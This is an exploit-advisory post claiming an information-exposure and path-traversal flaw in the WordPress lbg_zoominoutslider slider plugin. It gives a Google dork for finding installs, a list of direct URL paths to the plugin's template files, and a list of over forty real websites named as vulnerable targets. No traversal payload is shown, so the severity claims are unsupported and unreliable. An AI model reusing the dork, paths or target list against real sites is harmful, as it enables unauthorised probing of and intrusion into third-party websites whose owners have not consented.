WordPress lbg_zoominoutslider Plugins 5.0.3 Info Exposure

###########################################################################

# Exploit Title : WordPress lbg_zoominoutslider Plugins 5.0.3 File Information Exposure
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 14/01/2019
# Vendor Homepage : lambertgroupproductions.com
# Software Download Link :
codecanyon.net/item/responsive-zoom-inout-slider-wordpress-plugin/2950062
codecanyon.net/item/jquery-slider-zoom-inout-effect-fully-responsive/2457203
# Software Information Link :
themesinfo.com/wordpress-plugins/wordpress-lbg_zoominoutslider-plugin-dkf7
# Software Price : 22$
# Tested On : Windows and Linux
# Category : WebApps
# Affected Versions : 3.8.28 - 3.9.26 - 4.7.12 - 4.3.18 -
4.5.16 - 4.6.13 - 4.8.8 4.9.4 - 4.9.9 - 4.9.x - 5.0.3
# Exploit Risk : High
# Google Dorks : inurl:"/wp-content/plugins/lbg_zoominoutslider/"
# Vulnerability Type : CWE-200 [ Information Exposure ]
CWE-538 [ File and Directory Information Exposure ]
CWE-22 [ Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') ]

###########################################################################

# Impact :
********

* WordPress lbg_zoominoutslider plugins 5.0.3 and other versions is prone to an arbitrary file disclosure

vulnerability because it fails to properly sanitize user-supplied input.

* An attacker can exploit this vulnerability to view local files in the context of the web server process,

which may aid in launching further attacks.

* An information exposure is the intentional or unintentional disclosure

of information to an actor that is not explicitly authorized to have access to that information.

* The product stores sensitive information in files or directories that are accessible

to actors outside of the intended control sphere.

* The software uses external input to construct a pathname that is intended to identify a file or

directory that is located underneath a restricted parent directory, but the software does not

properly neutralize special elements within the pathname that can cause the pathname

to resolve to a location that is outside of the restricted directory.

###########################################################################

# Exploit :
***********************

/wp-content/plugins/lbg_zoominoutslider/tpl/add_banner.php

/wp-content/plugins/lbg_zoominoutslider/tpl/add_banner.php?page=lbg_zoominoutslider_Manage_Sliders

/wp-content/plugins/lbg_zoominoutslider/tpl/add_playlist_record.php

/wp-content/plugins/lbg_zoominoutslider/tpl/add_playlist_record.php?page=lbg_zoominoutslider_Playlist

/wp-content/plugins/lbg_zoominoutslider/tpl/banners.php

/wp-content/plugins/lbg_zoominoutslider/tpl/help.php

/wp-content/plugins/lbg_zoominoutslider/tpl/overview.php

/wp-content/plugins/lbg_zoominoutslider/tpl/overview.php?page=lbg_zoominoutslider_Manage_Sliders

/wp-content/plugins/lbg_zoominoutslider/tpl/overview.php?page=lbg_zoominoutslider_Add_New

/wp-content/plugins/lbg_zoominoutslider/tpl/overview.php?page=lbg_zoominoutslider_Help

/wp-content/plugins/lbg_zoominoutslider/tpl/playlist.php

/wp-content/plugins/lbg_zoominoutslider/tpl/playlist_elements_over_image.php

/wp-content/plugins/lbg_zoominoutslider/tpl/preview.html

/wp-content/plugins/lbg_zoominoutslider/tpl/settings_form.php

###########################################################################

# Video Tutorials =>

Installation – youtube.com/watch?v=OiuT8zxKmpI
How To Create A Slider – youtube.com/watch?v=xYrOMaUalso
How To Add The Layers – youtube.com/watch?v=nIxHarBvEP4
How To Use It As FullScreen Background For A Single Page/Post- youtube.com/watch?v=7SKWd2fspg8
How To Use It As FullScreen Background For Entire Website- youtube.com/watch?v=PoqrBup7QrM

###########################################################################

# Example Vulnerable Site :
*************************

[+] dorianorchestra.ro/wp-content/plugins/lbg_zoominoutslider/tpl/add_banner.php

[+] stereoptik.com/wp-content/plugins/lbg_zoominoutslider/tpl/add_playlist_record.php

[+] villamahal.com/wp/wp-content/plugins/lbg_zoominoutslider/tpl/add_playlist_record.php

[+] domainedelajeanne.com/wp-content/plugins/lbg_zoominoutslider/tpl/add_playlist_record.php

[+] fondationsaintirenee.org/wp-content/plugins/lbg_zoominoutslider/tpl/add_playlist_record.php

[+] filenscene.org/wp-content/plugins/lbg_zoominoutslider/tpl/add_playlist_record.php

[+] heartandhandswine.com/wp-content/plugins/lbg_zoominoutslider/tpl/add_playlist_record.php

[+] swordstravel.co.uk/wp-content/plugins/lbg_zoominoutslider/tpl/add_playlist_record.php

[+] gobeklitepe.info/wp-content/plugins/lbg_zoominoutslider/tpl/add_playlist_record.php

[+] villa-sanctamaria-motovun.com/wp-content/plugins/lbg_zoominoutslider/tpl/add_playlist_record.php

[+] falafelhouseflorida.com/wp-content/plugins/lbg_zoominoutslider/tpl/add_playlist_record.php

[+] callisons.com/wp-content/plugins/lbg_zoominoutslider/tpl/add_playlist_record.php

[+] alexandercapitallp.com/wp-content/plugins/lbg_zoominoutslider/tpl/add_playlist_record.php

[+] hdlogistica.com/wp-content/plugins/lbg_zoominoutslider/tpl/add_playlist_record.php

[+] scottgbrown.co.uk/wp-content/plugins/lbg_zoominoutslider/tpl/add_playlist_record.php

[+] apartamentspa.eu/wp-content/plugins/lbg_zoominoutslider/tpl/add_playlist_record.php

[+] faithofthenations.org/wp-content/plugins/lbg_zoominoutslider/tpl/add_playlist_record.php

[+] timnicholsonracecars.com/wp-content/plugins/lbg_zoominoutslider/tpl/add_playlist_record.php

[+] lartisan-numerique.com/_PROJ_/EPSETOISE/wp-content/plugins/lbg_zoominoutslider/tpl/add_playlist_record.php

[+] theflowerpot-macclesfield.co.uk/wp-content/plugins/lbg_zoominoutslider/tpl/add_banner.php

[+] masdespetitsloups.com/wp-content/plugins/lbg_zoominoutslider/tpl/add_banner.php

[+] anholter-schweiz.de/wp-content/plugins/lbg_zoominoutslider/tpl/add_banner.php

[+] corevc.com/wp-content/plugins/lbg_zoominoutslider/tpl/add_banner.php

[+] 247snacks.ca/wp-content/plugins/lbg_zoominoutslider/tpl/add_banner.php

[+] delicream.co.il/wp-content/plugins/lbg_zoominoutslider/tpl/add_banner.php

[+] new.zoompanningeffectslider.com/wp-content/plugins/lbg_zoominoutslider/tpl/add_banner.php

[+] spinesportspt.com/wp-content/plugins/lbg_zoominoutslider/tpl/add_banner.php

[+] cspro82.com/wp-content/plugins/lbg_zoominoutslider/tpl/add_banner.php

[+] flatwaterkayaker.com/wp-content/plugins/lbg_zoominoutslider/tpl/add_banner.php

[+] dalaman.bel.tr/wp-content/plugins/lbg_zoominoutslider/tpl/add_banner.php

[+] denver.haleexpo.com/wp-content/plugins/lbg_zoominoutslider/tpl/add_banner.php

[+] saar2.shakedeal.co.il/wp-content/plugins/lbg_zoominoutslider/tpl/add_banner.php

[+] salonsbocaraton.com/wp-content/plugins/lbg_zoominoutslider/tpl/add_banner.php

[+] baronsestateagents.co.uk/wp-content/plugins/lbg_zoominoutslider/tpl/add_banner.php

[+] omar-khayyam.co.uk/wp-content/plugins/lbg_zoominoutslider/tpl/add_banner.php

[+] samplemcdougald.org/wp-content/plugins/lbg_zoominoutslider/tpl/add_banner.php

[+] luxusurlaub-weltweit.de/wp-content/plugins/lbg_zoominoutslider/tpl/add_banner.php

[+] light-pro.com/wp-content/plugins/lbg_zoominoutslider/tpl/add_banner.php

[+] sebreflex-photographies.fr/wp-content/plugins/lbg_zoominoutslider/tpl/add_banner.php

[+] paysagiste-bouvard-chaillevette.fr/wp-content/plugins/lbg_zoominoutslider/tpl/add_banner.php

[+] henkaconsulting.com/wp-content/plugins/lbg_zoominoutslider/tpl/add_banner.php

[+] jmconcreting.com.au/wp-content/plugins/lbg_zoominoutslider/tpl/add_banner.php

[+] worthing10k.co.uk/wp-content/plugins/lbg_zoominoutslider/tpl/add_banner.php

[+] pacificappraisers.com/wp-content/plugins/lbg_zoominoutslider/tpl/add_banner.php

[+] 0800strippers.co.nz/wp-content/plugins/lbg_zoominoutslider/tpl/add_banner.php

[+] naturo.us/wp-content/plugins/lbg_zoominoutslider/tpl/add_banner.php

###########################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

###########################################################################